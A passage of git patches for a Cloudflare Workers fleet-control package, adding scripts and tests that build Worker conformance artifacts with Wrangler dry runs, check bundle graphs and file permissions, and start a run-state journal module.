...t-credentialed-conformance-preflight.d.mts | 13 + ...ect-credentialed-conformance-preflight.mjs | 8 +- .../scripts/packed-consumer-test.mjs | 2 + .../direct-credentialed-artifacts.test.ts | 288 ++++++++++++++++ ...credentialed-conformance-preflight.test.ts | 17 + 8 files changed, 812 insertions(+), 1 deletion(-) create mode 100644 packages/fleet-control/scripts/direct-artifacts-packed.mjs create mode 100644 packages/fleet-control/scripts/direct-credentialed-artifacts.d.mts create mode 100644 packages/fleet-control/scripts/direct-credentialed-artifacts.mjs create mode 100644 packages/fleet-control/test/direct-credentialed-artifacts.test.ts diff --git a/packages/fleet-control/scripts/direct-artifacts-packed.mjs b/packages/fleet-control/scripts/direct-artifacts-packed.mjs new file mode 100644 index 00000000..978ec974 --- /dev/null +++ b/packages/fleet-control/scripts/direct-artifacts-packed.mjs @@ -0,0 +1,136 @@ +// SPDX-License-Identifier: Apache-2.0 + +import assert from 'node:assert/strict'; +import { createHash } from 'node:crypto'; +import { + copyFile, + mkdir, + readdir, + readFile, + realpath, + symlink, + writeFile, +} from 'node:fs/promises'; +import { createRequire } from 'node:module'; +import { dirname, join, resolve } from 'node:path'; +import { pathToFileURL } from 'node:url'; + +const hostModule = + /(?:^|\/)fleet-control\/dist\/(?:export-store|wrangler-loop-backend|wrangler-plain-worker-provisioning-api|wrangler-runner)\.js$/u; + +export async function verifyDirectArtifactsPacked({ + consumerDirectory, + packageRoot, +}) { + const directory = join(consumerDirectory, 'direct-artifact-fixture'); + const scripts = join(directory, 'scripts'); + await mkdir(directory); + await mkdir(scripts); + await mkdir(join(directory, 'src')); + await mkdir(join(directory, 'node_modules')); + for (const name of await readdir(join(packageRoot, 'scripts'))) { + if (name.startsWith('direct-') && /\.(?:ts|mts|mjs|json)$/u.test(name)) { + await copyFile(join(packageRoot, 'scripts', name), join(scripts, name)); + } + } + for (const name of ['export-file-name.ts', 'strict-plain-data.ts']) { + await copyFile( + join(packageRoot, 'src', name), + join(directory, 'src', name), + ); + } + for (const tool of ['wrangler', 'typescript']) { + await symlink( + await realpath(join(packageRoot, 'node_modules', tool)), + join(directory, 'node_modules', tool), + 'dir', + ); + } + const { buildDirectConformanceArtifacts } = await import( + pathToFileURL(join(scripts, 'direct-credentialed-artifacts.mjs')) + ); + const built = await buildDirectConformanceArtifacts({ + configPath: join(scripts, 'direct-credentialed-conformance.example.json'), + outputDirectory: join(directory, 'built'), + }); + const consumerRequire = createRequire( + join(consumerDirectory, 'package.json'), + ); + const entries = await Promise.all( + [ + '@proofoftech/fleet-control', + '@proofoftech/fleet-control/cloudflare-control-plane', + ].map(async (entry) => [ + entry, + await realpath(consumerRequire.resolve(entry)), + ]), + ); + const metadataBytes = await readFile(built.builds.reference.metafilePath); + const metadata = JSON.parse(metadataBytes.toString('utf8')); + const metadataDirectory = dirname(built.builds.reference.metafilePath); + const inputPaths = Object.keys(metadata.inputs).map((path) => + resolve(metadataDirectory, path), + ); + for (const [entry, expected] of entries) { + const candidates = inputPaths.filter((path) => + path.endsWith( + `/fleet-control/dist/${entry.endsWith('/cloudflare-control-plane') ? 'cloudflare-control-plane' : 'index'}.js`, + ), + ); + assert.equal( + candidates.length, + 1, + `default reference must reach one installed ${entry} entry`, + ); + assert.equal( + await realpath(candidates[0]), + expected, + `default reference must resolve the consumer's ${entry}`, + ); + } + assert.ok( + inputPaths.every((path) => !path.startsWith(`${join(directory, 'src')}/`)), + 'private config host helpers must not enter the reference Worker graph', + ); + const mainPath = join(metadataDirectory, 'out', 'reference.js'); + const output = Object.entries(metadata.outputs).find( + ([path]) => resolve(metadataDirectory, path) === mainPath, + )?.[1]; + assert.ok(output, 'default reference main output must be present'); + assert.equal(output.bytes, built.builds.reference.rawBytes); + const contributions = Object.entries(output.inputs) + .map(([path, entry]) => ({ path, bytes: entry.bytesInOutput })) + .sort( + (left, right) => + right.bytes - left.bytes || left.path.localeCompare(right.path), + ); + for (const entry of contributions) { + assert.ok(Number.isSafeInteger(entry.bytes) && entry.bytes >= 0); + assert.ok( + entry.bytes === 0 || !hostModule.test(entry.path), + `default Worker contains host implementation: ${entry.path}`, + ); + } + const attributedBytes = contributions.reduce( + (sum, entry) => sum + entry.bytes, + 0, + ); + assert.ok(attributedBytes <= output.bytes); + const graph = { + entries: Object.fromEntries(entries), + inputs: Object.keys(metadata.inputs).sort(), + runtimeImports: output.imports, + contributions, + attributedBytes, + outputBytes: output.bytes, + metafileSha256: createHash('sha256').update(metadataBytes).digest('hex'), + }; + await writeFile( + join(directory, 'default-reference-graph.json'), + `${JSON.stringify(graph, null, 2)}\n`, + ); + process.stdout.write( + `fleet-control default direct artifacts: ${JSON.stringify({ builds: built.builds, referenceUploadBytes: built.prepared.referenceUploadBytes, referenceModuleSetSha256: built.prepared.referenceModuleSetSha256, entries: graph.entries, runtimeImports: graph.runtimeImports, attributedBytes, graphSha256: graph.metafileSha256, hostContributions: contributions.filter((entry) => hostModule.test(entry.path)) })}\n`, + ); + return built; +} diff --git a/packages/fleet-control/scripts/direct-credentialed-artifacts.d.mts b/packages/fleet-control/scripts/direct-credentialed-artifacts.d.mts new file mode 100644 index 00000000..35707202 --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-artifacts.d.mts @@ -0,0 +1,27 @@ +// SPDX-License-Identifier: Apache-2.0 + +import type { PreparedDirectConformance } from './direct-credentialed-conformance-preflight.mjs'; + +export interface DirectArtifactBuildMeasurement { + readonly metafilePath: string; + readonly rawBytes: number; + readonly gzipBytes: number; + readonly sha256: string; +} + +export interface BuiltDirectConformanceArtifacts { + readonly configPath: string; + readonly prepared: PreparedDirectConformance; + readonly builds: Readonly<{ + reference: DirectArtifactBuildMeasurement; + tenant: DirectArtifactBuildMeasurement; + }>; +} + +export function buildDirectConformanceArtifacts( + input: Readonly<{ + configPath: string; + outputDirectory: string; + now?: number; + }>, +): Promise; diff --git a/packages/fleet-control/scripts/direct-credentialed-artifacts.mjs b/packages/fleet-control/scripts/direct-credentialed-artifacts.mjs new file mode 100644 index 00000000..377eebdd --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-artifacts.mjs @@ -0,0 +1,322 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { spawn } from 'node:child_process'; +import { createHash } from 'node:crypto'; +import { + chmod, + lstat, + mkdir, + open, + readdir, + readFile, + writeFile, +} from 'node:fs/promises'; +import { createRequire } from 'node:module'; +import { dirname, isAbsolute, join, relative, resolve, sep } from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { gzipSync } from 'node:zlib'; +import { + DIRECT_MANIFEST_MODULE, + DIRECT_MAX_UPLOAD_BYTES, + preflightDirectConformance, + readDirectConformanceConfig, +} from './direct-credentialed-conformance-preflight.mjs'; + +function invalid(field) { + return new Error(`direct conformance artifact build has invalid ${field}`); +} + +function sha256(bytes) { + return createHash('sha256').update(bytes).digest('hex'); +} + +function writePrivate(path, bytes) { + return writeFile(path, bytes, { flag: 'wx', mode: 0o600 }); +} + +function writeJson(path, value) { + return writePrivate(path, `${JSON.stringify(value, null, 2)}\n`); +} + +async function restrictBuildFiles(directory) { + for (const entry of await readdir(directory, { withFileTypes: true })) { + const path = join(directory, entry.name); + if (entry.isDirectory()) { + await chmod(path, 0o700); + await restrictBuildFiles(path); + } else if (entry.isFile()) { + await chmod(path, 0o600); + } else { + throw invalid('build output file'); + } + } +} + +async function readModule(path) { + const stat = await lstat(path); + if (!stat.isFile() || stat.size < 1 || stat.size > DIRECT_MAX_UPLOAD_BYTES) + throw invalid('module file'); + const bytes = await readFile(path); + if (bytes.length !== stat.size) throw invalid('module file size'); + return bytes; +} + +async function resolveWrangler() { + const require = createRequire(import.meta.url); + const manifestPath = require.resolve('wrangler/package.json'); + const manifest = JSON.parse(await readFile(manifestPath, 'utf8')); + const bin = + typeof manifest.bin === 'string' ? manifest.bin : manifest.bin?.wrangler; + if (typeof bin !== 'string' || !bin || typeof manifest.version !== 'string') + throw invalid('Wrangler package'); + return { + manifestPath, + version: manifest.version, + bin: resolve(dirname(manifestPath), bin), + }; +} + +async function runWrangler(directory, wrangler, args) { + const logPath = join(directory, 'dry-run.log'); + const log = await open(logPath, 'wx', 0o600); + const startedAtMs = Date.now(); + const environment = { + PATH: process.env.PATH ?? '', + WRANGLER_SEND_METRICS: 'false', + }; + let outcome; + try { + outcome = await new Promise((fulfill) => { + const child = spawn(process.execPath, [wrangler.bin, ...args], { + cwd: directory, + env: environment, + stdio: ['ignore', log.fd, log.fd], + }); + let error; + child.once('error', (cause) => { + error = cause.message; + }); + child.once('close', (status, signal) => { + fulfill({ status, signal, ...(error ? { error } : {}) }); + }); + }); + } finally { + await log.close(); + } + await writeJson(join(directory, 'command.json'), { + executable: process.execPath, + args: [wrangler.bin, ...args], + cwd: directory, + wranglerManifestPath: wrangler.manifestPath, + wranglerVersion: wrangler.version, + nodeVersion: process.version, + environmentKeys: Object.keys(environment), + metrics: false, + startedAtMs, + completedAtMs: Date.now(), + ...outcome, + }); + if (outcome.status !== 0 || outcome.error) + throw new Error(`direct conformance Wrangler build failed; see ${logPath}`); +} + +function relativeArtifactPath(outputDirectory, path) { + return relative(outputDirectory, path).split(sep).join('/'); +} + +async function inspectBuild(directory, outputDirectory, role, mainModule) { + const metafilePath = join(directory, 'metafile.json'); + const metadata = JSON.parse(await readFile(metafilePath, 'utf8')); + if ( + !metadata.outputs || + typeof metadata.outputs !== 'object' || + Array.isArray(metadata.outputs) + ) + throw invalid('Wrangler outputs'); + const mainPath = join(directory, 'out', `${role}.js`); + const entryPath = join(directory, 'src', `${role}.ts`); + const entries = Object.entries(metadata.outputs).filter( + ([, output]) => + output && + typeof output.entryPoint === 'string' && + resolve(directory, output.entryPoint) === entryPath, + ); + const entry = entries[0]; + if ( + entries.length !== 1 || + resolve(directory, entry[0]) !== mainPath || + !Array.isArray(entry[1].imports) + ) + throw invalid('Wrangler main output'); + const bytes = await readModule(mainPath); + if (entry[1].bytes !== bytes.length) + throw invalid('Wrangler main output size'); + const wasmNames = new Set(); + for (const imported of entry[1].imports) { + if (!imported || typeof imported.path !== 'string') + throw invalid('Wrangler output import'); + const path = imported.path; + if (role === 'reference' && path === `./${DIRECT_MANIFEST_MODULE}`) + continue; + if (!path.startsWith('.') && !isAbsolute(path)) continue; + if ( + !/^\.\/[A-Za-z0-9][A-Za-z0-9._-]*\.wasm$/u.test(path) || + imported.kind !== 'import-statement' || + imported.external !== true + ) + throw invalid('flat relative output import'); + wasmNames.add(path.slice(2)); + } + const auxiliaryWasm = []; + for (const name of [...wasmNames].sort()) { + const path = join(directory, 'out', name); + auxiliaryWasm.push({ + file: relativeArtifactPath(outputDirectory, path), + name, + sha256: sha256(await readModule(path)), + }); + } + const digest = sha256(bytes); + return { + artifact: { + bundle: relativeArtifactPath(outputDirectory, mainPath), + mainModule, + sha256: digest, + ...(auxiliaryWasm.length > 0 ? { auxiliaryWasm } : {}), + }, + measurements: Object.freeze({ + metafilePath, + rawBytes: bytes.length, + gzipBytes: gzipSync(bytes).length, + sha256: digest, + }), + }; +} + +async function buildWorker(outputDirectory, role, intent, wrangler) { + const directory = join(outputDirectory, role); + const sourceDirectory = join(directory, 'src'); + const bundleDirectory = join(directory, 'out'); + await mkdir(directory, { mode: 0o700 }); + await mkdir(sourceDirectory, { mode: 0o700 }); + await mkdir(bundleDirectory, { mode: 0o700 }); + const reference = role === 'reference'; + const sourcePath = fileURLToPath( + new URL( + reference + ? './direct-reference-worker.ts' + : './direct-credentialed-tenant.ts', + import.meta.url, + ), + ); + await writePrivate( + join(sourceDirectory, `${role}.ts`), + reference + ? `import manifest from './${DIRECT_MANIFEST_MODULE}';\nimport { createDirectReferenceWorker } from ${JSON.stringify(sourcePath)};\nexport default createDirectReferenceWorker(manifest);\n` + : `export { default, Maintenance, Runner } from ${JSON.stringify(sourcePath)};\n`, + ); + if (reference) + await writePrivate( + join(sourceDirectory, DIRECT_MANIFEST_MODULE), + "export default { buildPlaceholder: 'direct-conformance-manifest' };\n", + ); + const wranglerConfigPath = join(directory, 'wrangler.json'); + await writeJson(wranglerConfigPath, { + name: `direct-conformance-${role}-build`, + main: `src/${role}.ts`, + base_dir: 'src', + compatibility_date: intent.compatibilityDate, + compatibility_flags: intent.compatibilityFlags, + limits: { + cpu_ms: intent.cpuLimitMs, + subrequests: intent.subrequestLimit, + }, + ...(reference + ? { + rules: [ + { + type: 'ESModule', + globs: [`**/${DIRECT_MANIFEST_MODULE}`], + fallthrough: false, + }, + ], + find_additional_modules: true, + } + : {}), + }); + try { + await runWrangler(directory, wrangler, [ + 'deploy', + '--config', + wranglerConfigPath, + '--dry-run', + '--outdir', + bundleDirectory, + '--metafile', + join(directory, 'metafile.json'), + '--outfile', + join(directory, 'upload.bundle'), + ]); + } finally { + await restrictBuildFiles(directory); + } + return inspectBuild( + directory, + outputDirectory, + role, + intent.artifact.mainModule, + ); +} + +export async function buildDirectConformanceArtifacts(input) { + const loaded = await readDirectConformanceConfig(input); + if ( + typeof input.outputDirectory !== 'string' || + !input.outputDirectory || + input.outputDirectory.includes('\0') + ) + throw invalid('output directory'); + const outputDirectory = resolve(input.outputDirectory); + const wrangler = await resolveWrangler(); + await mkdir(outputDirectory, { mode: 0o700 }); + await writePrivate( + join(outputDirectory, 'input-conformance.json'), + loaded.configBytes, + ); + const reference = await buildWorker( + outputDirectory, + 'reference', + loaded.config.referenceWorker, + wrangler, + ); + const tenant = await buildWorker( + outputDirectory, + 'tenant', + loaded.config.deployment, + wrangler, + ); + const configPath = join(outputDirectory, 'conformance.json'); + await writeJson(configPath, { + ...loaded.config, + referenceWorker: { + ...loaded.config.referenceWorker, + artifact: reference.artifact, + }, + deployment: { + ...loaded.config.deployment, + artifact: tenant.artifact, + }, + }); + const prepared = await preflightDirectConformance({ + configPath, + now: input.now, + }); + return Object.freeze({ + configPath, + prepared, + builds: Object.freeze({ + reference: reference.measurements, + tenant: tenant.measurements, + }), + }); +} diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance-preflight.d.mts b/packages/fleet-control/scripts/direct-credentialed-conformance-preflight.d.mts index 925a4be4..97704f24 100644 --- a/packages/fleet-control/scripts/direct-credentialed-conformance-preflight.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-conformance-preflight.d.mts @@ -56,6 +56,19 @@ export interface PreparedDirectConformance { readonly referenceModuleSetSha256: string; } +export function readDirectConformanceConfig( + input: Readonly<{ + configPath: string; + now?: number; + }>, +): Promise< + Readonly<{ + configPath: string; + configBytes: Uint8Array; + config: DirectConformanceConfig; + }> +>; + export function preflightDirectConformance( input: Readonly<{ configPath: string; diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance-preflight.mjs b/packages/fleet-control/scripts/direct-credentialed-conformance-preflight.mjs index 9565bf16..e7dc9a0c 100644 --- a/packages/fleet-control/scripts/direct-credentialed-conformance-preflight.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-conformance-preflight.mjs @@ -253,7 +253,7 @@ function runtimeFields(runtime) { }; } -export async function preflightDirectConformance(input) { +export async function readDirectConformanceConfig(input) { let configPath; try { configPath = resolve(input.configPath); @@ -268,6 +268,12 @@ export async function preflightDirectConformance(input) { throw invalid('config JSON'); } const config = validateDirectConformanceConfig(parsed, { now: input.now }); + return Object.freeze({ configPath, configBytes, config }); +} + +export async function preflightDirectConformance(input) { + const { configPath, configBytes, config } = + await readDirectConformanceConfig(input); const names = deriveDirectConformanceNames(config); const configDirectory = dirname(configPath); const reference = await readArtifact( diff --git a/packages/fleet-control/scripts/packed-consumer-test.mjs b/packages/fleet-control/scripts/packed-consumer-test.mjs index 739d3709..d7c797d9 100644 --- a/packages/fleet-control/scripts/packed-consumer-test.mjs +++ b/packages/fleet-control/scripts/packed-consumer-test.mjs @@ -19,6 +19,7 @@ import { verifyControlPlanePackedBundle } from './control-plane-packed-bundle.mj import { verifyControlPlanePackedRuntime } from './control-plane-packed-runtime.mjs'; import { verifyControlPlanePackedSurface } from './control-plane-packed-surface.mjs'; import { verifyControlPlanePackedWorkload } from './control-plane-packed-workload.mjs'; +import { verifyDirectArtifactsPacked } from './direct-artifacts-packed.mjs'; const packageRoot = resolve(dirname(fileURLToPath(import.meta.url)), '..'); const workspaceRoot = resolve(packageRoot, '../..'); @@ -1211,6 +1212,7 @@ assert.ok(new WorkersForPlatformsBackend(complete)); await verifyControlPlanePackedBundle({ consumerDirectory, packageRoot }); await verifyControlPlanePackedRuntime({ consumerDirectory, packageRoot }); await verifyControlPlanePackedWorkload({ consumerDirectory, packageRoot }); + await verifyDirectArtifactsPacked({ consumerDirectory, packageRoot }); assert.deepEqual( await readFile(join(workspaceRoot, 'pnpm-lock.yaml')), lockfileBefore, diff --git a/packages/fleet-control/test/direct-credentialed-artifacts.test.ts b/packages/fleet-control/test/direct-credentialed-artifacts.test.ts new file mode 100644 index 00000000..810629fd --- /dev/null +++ b/packages/fleet-control/test/direct-credentialed-artifacts.test.ts @@ -0,0 +1,288 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { spawn } from 'node:child_process'; +import { createHash } from 'node:crypto'; +import { + mkdir, + mkdtemp, + readFile, + rm, + stat, + writeFile, +} from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { gzipSync } from 'node:zlib'; +import type { D1Database } from '@cloudflare/workers-types'; +import { afterAll, beforeAll, describe, expect, it, vi } from 'vitest'; +import { createTestHarness, type TestHarness } from 'wrangler'; +import { + type BuiltDirectConformanceArtifacts, + buildDirectConformanceArtifacts, +} from '../scripts/direct-credentialed-artifacts.mjs'; +import { preflightDirectConformance } from '../scripts/direct-credentialed-conformance-preflight.mjs'; +import { DIRECT_REFERENCE_PATH } from '../scripts/direct-reference-contract.mjs'; + +const NOW = Date.parse('2026-09-10T12:00:00Z'); + +vi.mock('node:child_process', async (importOriginal) => { + const actual = await importOriginal(); + return { ...actual, spawn: vi.fn(actual.spawn) }; +}); + +describe.sequential('default direct conformance artifacts', { + timeout: 180_000, +}, () => { + let directory: string; + let configPath: string; + let built: BuiltDirectConformanceArtifacts; + let server: TestHarness | undefined; + + beforeAll(async () => { + vi.stubEnv('CLOUDFLARE_API_TOKEN', 'artifact-child-env-sentinel'); + vi.stubEnv('CLOUDFLARE_BASE_URL', 'https://unexpected.example.test'); + directory = await mkdtemp(join(tmpdir(), 'direct-built-artifacts-')); + configPath = join(directory, 'input.json'); + await writeFile( + configPath, + await readFile( + new URL( + '../scripts/direct-credentialed-conformance.example.json', + import.meta.url, + ), + ), + ); + built = await buildDirectConformanceArtifacts({ + configPath, + outputDirectory: join(directory, 'built'), + now: NOW, + }); + }, 180_000); + + afterAll(async () => { + try { + await server?.close(); + } finally { + if (directory) await rm(directory, { recursive: true, force: true }); + vi.unstubAllEnvs(); + } + }, 30_000); + + it('preserves runtime intent and emits exact preflight snapshots from the fixed sources', async () => { + const input = JSON.parse(await readFile(configPath, 'utf8')); + const output = JSON.parse(await readFile(built.configPath, 'utf8')); + for (const role of ['referenceWorker', 'deployment']) { + const { artifact: _before, ...before } = input[role]; + const { artifact: _after, ...after } = output[role]; + expect(after).toEqual(before); + } + expect( + await preflightDirectConformance({ + configPath: built.configPath, + now: NOW, + }), + ).toEqual(built.prepared); + expect( + built.prepared.referenceModules.map((module) => module.name), + ).toEqual(['worker.js', 'direct-run-manifest.js']); + expect(built.prepared.manifest.tenantWasm.length).toBeGreaterThan(0); + for (const role of ['reference', 'tenant'] as const) { + const bytes = await readFile( + join(directory, 'built', role, 'out', `${role}.js`), + ); + expect(built.builds[role]).toMatchObject({ + rawBytes: bytes.length, + gzipBytes: gzipSync(bytes).length, + sha256: createHash('sha256').update(bytes).digest('hex'), + }); + const command = JSON.parse( + await readFile(join(directory, 'built', role, 'command.json'), 'utf8'), + ); + expect(command.status).toBe(0); + expect(command.args).toContain('--dry-run'); + expect(command.environmentKeys).toEqual([ + 'PATH', + 'WRANGLER_SEND_METRICS', + ]); + const call = vi + .mocked(spawn) + .mock.calls.find( + ([, args]) => + Array.isArray(args) && + args.includes(join(directory, 'built', role, 'wrangler.json')), + ); + expect(call).toBeDefined(); + expect(call?.[2]?.env).toEqual({ + PATH: process.env.PATH ?? '', + WRANGLER_SEND_METRICS: 'false', + }); + expect(command.environmentKeys).toEqual( + Object.keys(call?.[2]?.env ?? {}), + ); + expect( + (await stat(join(directory, 'built', role, 'out', `${role}.js`))).mode & + 0o777, + ).toBe(0o600); + } + expect((await stat(join(directory, 'built'))).mode & 0o777).toBe(0o700); + expect((await stat(built.configPath)).mode & 0o777).toBe(0o600); + expect( + await readFile(join(directory, 'built', 'input-conformance.json')), + ).toEqual(await readFile(configPath)); + }); + + it('refuses an existing output directory without changing its contents', async () => { + const snapshot = await readFile(built.configPath); + await expect( + buildDirectConformanceArtifacts({ + configPath, + outputDirectory: join(directory, 'built'), + now: NOW, + }), + ).rejects.toThrow(); + expect(await readFile(built.configPath)).toEqual(snapshot); + }); + + it('rejects invalid operator intent before creating build output', async () => { + const invalidPath = join(directory, 'invalid.json'); + const input = JSON.parse(await readFile(configPath, 'utf8')); + input.providerUrl = 'https://unexpected.example.test'; + await writeFile(invalidPath, JSON.stringify(input)); + const outputDirectory = join(directory, 'invalid-output'); + await expect( + buildDirectConformanceArtifacts({ + configPath: invalidPath, + outputDirectory, + now: NOW, + }), + ).rejects.toThrow(); + await expect(stat(outputDirectory)).rejects.toMatchObject({ + code: 'ENOENT', + }); + }); + + it('loads the exact reference upload with native state and the configured runtime flags', async () => { + const prepared = built.prepared; + const runtime = join(directory, 'native-reference'); + await mkdir(runtime); + for (const module of prepared.referenceModules) { + const bytes = + 'source' in module + ? Buffer.from(module.source) + : Buffer.from(module.base64, 'base64'); + expect(createHash('sha256').update(bytes).digest('hex')).toBe( + module.sha256, + ); + await writeFile(join(runtime, module.name), bytes); + } + const binding = { + version: 1, + accountId: 'account', + fleetDatabaseId: '00000000-0000-0000-0000-000000000011', + quotaDatabaseId: '00000000-0000-0000-0000-000000000012', + exportBucketName: prepared.names.exportBucket, + referenceModuleSetSha256: prepared.referenceModuleSetSha256, + accountWorkersDevSubdomain: 'artifact-fixture', + }; + const secretMap = Object.fromEntries( + ['a', 'b', 'recovery'].map((role) => [ + role, + { + deploymentIdentity: `identity-${role}`.padEnd(40, 'i'), + maintenanceAdmin: `maintenance-${role}`.padEnd(40, 'm'), + application: { APP_PROBE_TOKEN: `probe-${role}`.padEnd(40, 'p') }, + }, + ]), + ); + server = createTestHarness({ + root: fileURLToPath(new URL('..', import.meta.url)), + workers: [ + { + config: { + name: 'direct-built-reference', + main: join(runtime, prepared.referenceModules[0].name), + no_bundle: true, + find_additional_modules: true, + rules: [ + { type: 'ESModule', globs: ['**/*.js'], fallthrough: true }, + { type: 'CompiledWasm', globs: ['**/*.wasm'], fallthrough: true }, + ], + compatibility_date: + prepared.config.referenceWorker.compatibilityDate, + compatibility_flags: [ + ...prepared.config.referenceWorker.compatibilityFlags, + ], + vars: { + CLOUDFLARE_API_TOKEN: 'inert-provider-token', + FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET: 'inert-invoke', + DIRECT_RUN_BINDING: JSON.stringify(binding), + DIRECT_DEPLOYMENT_SECRETS: JSON.stringify(secretMap), + }, + d1_databases: [ + { + binding: 'FLEET_DB', + database_name: prepared.names.fleetDatabase, + database_id: binding.fleetDatabaseId, + }, + { + binding: 'QUOTA_DB', + database_name: prepared.names.quotaDatabase, + database_id: binding.quotaDatabaseId, + }, + ], + r2_buckets: [ + { binding: 'EXPORTS', bucket_name: binding.exportBucketName }, + ], + }, + }, + ], + }); + await server.listen(); + const worker = server.getWorker<{ FLEET_DB: D1Database }>(); + const url = `https://reference.example.test${DIRECT_REFERENCE_PATH}`; + const body = JSON.stringify({ + contractVersion: 1, + configSha256: prepared.configSha256, + action: { kind: 'control-read' }, + }); + expect((await worker.fetch(url, { method: 'POST', body })).status).toBe( + 401, + ); + const response = await worker.fetch(url, { + method: 'POST', + headers: { authorization: 'Bearer inert-invoke' }, + body, + }); + expect(response.status).toBe(200); + expect(response.headers.get('X-Direct-Provider-Attempts')).toBe('0'); + expect(await response.json()).toMatchObject({ + ok: true, + configSha256: prepared.configSha256, + result: { + binding, + operations: [], + records: [ + { role: 'a', present: false }, + { role: 'b', present: false }, + { role: 'recovery', present: false }, + ], + }, + }); + const env = await worker.getEnv(); + expect( + await env.FLEET_DB.prepare( + 'SELECT COUNT(*) AS count FROM anchorage_fleet_deployments', + ).first('count'), + ).toBe(0); + await server.close(); + server = undefined; + for (const module of prepared.referenceModules) { + expect( + createHash('sha256') + .update(await readFile(join(runtime, module.name))) + .digest('hex'), + ).toBe(module.sha256); + } + }); +}); diff --git a/packages/fleet-control/test/direct-credentialed-conformance-preflight.test.ts b/packages/fleet-control/test/direct-credentialed-conformance-preflight.test.ts index 665de846..ba5dcf87 100644 --- a/packages/fleet-control/test/direct-credentialed-conformance-preflight.test.ts +++ b/packages/fleet-control/test/direct-credentialed-conformance-preflight.test.ts @@ -18,6 +18,7 @@ import { DIRECT_MANIFEST_MODULE, DIRECT_MAX_UPLOAD_BYTES, preflightDirectConformance, + readDirectConformanceConfig, } from '../scripts/direct-credentialed-conformance-preflight.mjs'; const NOW = Date.parse('2026-09-09T12:00:00.000Z'); @@ -73,6 +74,22 @@ afterEach(async () => { }); describe('direct artifact preflight', () => { + it('reads validated config before artifact creation while preflight still requires the bytes', async () => { + const f = await fixture(); + await rm(f.referencePath); + const result = await readDirectConformanceConfig({ + configPath: f.configPath, + now: NOW, + }); + expect(result.configPath).toBe(f.configPath); + expect(result.configBytes).toEqual(await readFile(f.configPath)); + expect(result.config).toEqual(f.config); + expect(Object.isFrozen(result)).toBe(true); + await expect(prepare(f.configPath)).rejects.toThrow( + 'reference artifact file', + ); + }); + it('accepts literal-template compatibility imports through the ordinary dependency check', async () => { const f = await fixture( `${REFERENCE}\nimport(\`node:buffer\`);`, From ceab639cd626809ab6634318207cc91e16ca18ab Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Thu, 10 Sep 2026 18:57:51 +0400 Subject: [PATCH 127/169] feat(fleet-control): persist direct invocation state --- .../durable-export-parent-directories.md | 7 + .gitignore | 4 +- .../direct-credentialed-run-state.d.mts | 68 ++ .../scripts/direct-credentialed-run-state.mjs | 528 ++++++++++++++ .../fleet-control/src/cloudflare-client.ts | 16 +- packages/fleet-control/src/export-store.ts | 53 +- .../cloudflare-client-plain-worker.test.ts | 43 ++ .../direct-credentialed-run-state.test.ts | 648 ++++++++++++++++++ .../fleet-control/test/export-store.test.ts | 150 ++++ 9 files changed, 1489 insertions(+), 28 deletions(-) create mode 100644 .changeset/durable-export-parent-directories.md create mode 100644 packages/fleet-control/scripts/direct-credentialed-run-state.d.mts create mode 100644 packages/fleet-control/scripts/direct-credentialed-run-state.mjs create mode 100644 packages/fleet-control/test/direct-credentialed-run-state.test.ts diff --git a/.changeset/durable-export-parent-directories.md b/.changeset/durable-export-parent-directories.md new file mode 100644 index 00000000..fadbeb22 --- /dev/null +++ b/.changeset/durable-export-parent-directories.md @@ -0,0 +1,7 @@ +--- +'@proofoftech/fleet-control': patch +--- + +Synchronize the parent directories of filesystem exports before returning a durable location, including when an earlier attempt left a newly created directory behind. + +Cancel abandoned export streams when filesystem setup or a supplied export store fails. diff --git a/.gitignore b/.gitignore index 6d7da5f2..295f9dfe 100644 --- a/.gitignore +++ b/.gitignore @@ -1,6 +1,3 @@ -# Negative (whitelist) model: ignore everything at the repo root by default; -# only the paths explicitly un-ignored below are trackable, so internal or -# scratch files dropped at the root can never be committed by accident. /* # --- Tracked top-level directories (their contents track normally) --- @@ -43,6 +40,7 @@ dist/ # Generated API reference (pnpm docs:api) — on-demand, never committed /docs/api/ .wrangler/ +.direct-conformance/ __pycache__/ *.db *.db-wal diff --git a/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts b/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts new file mode 100644 index 00000000..0f8e477e --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts @@ -0,0 +1,68 @@ +// SPDX-License-Identifier: Apache-2.0 + +import type { PreparedDirectConformance } from './direct-credentialed-conformance-preflight.mjs'; +import type { DirectReferenceAction } from './direct-reference-contract.mjs'; + +export type DirectRunStateErrorCode = + | 'invalid-state' + | 'run-exists' + | 'run-missing' + | 'lock-unavailable' + | 'outcome-unknown' + | 'invocation-budget-exhausted'; + +export class DirectRunStateError extends Error { + readonly code: DirectRunStateErrorCode; + constructor(code?: DirectRunStateErrorCode); +} + +type WithoutToken = Action extends unknown + ? Omit + : never; + +export type DirectRunActionSummary = WithoutToken; + +export interface DirectRunBinding { + readonly accountId: string; + readonly configSha256: string; + readonly referenceModuleSetSha256: string; + readonly resourcePrefix: string; + readonly maxInvocations: number; +} + +export interface DirectInvocationReservation { + readonly ordinal: number; + readonly requestSha256: string; +} + +export interface DirectRunSnapshot { + readonly version: 1; + readonly binding: DirectRunBinding; + readonly invocationCount: number; + readonly lastInvocation: + | (DirectInvocationReservation & + Readonly<{ + action: DirectRunActionSummary; + state: 'pending' | 'settled'; + }>) + | null; +} + +export interface DirectRunJournal { + readonly directory: string; + snapshot(): DirectRunSnapshot; + reserveInvocation( + serializedRequest: string, + ): Promise; + settleInvocation(reservation: DirectInvocationReservation): Promise; + close(): Promise; +} + +export function openDirectRunState( + input: Readonly<{ + configPath: string; + prepared: PreparedDirectConformance; + accountId: string; + mode: 'run' | 'resume'; + }>, +): Promise; diff --git a/packages/fleet-control/scripts/direct-credentialed-run-state.mjs b/packages/fleet-control/scripts/direct-credentialed-run-state.mjs new file mode 100644 index 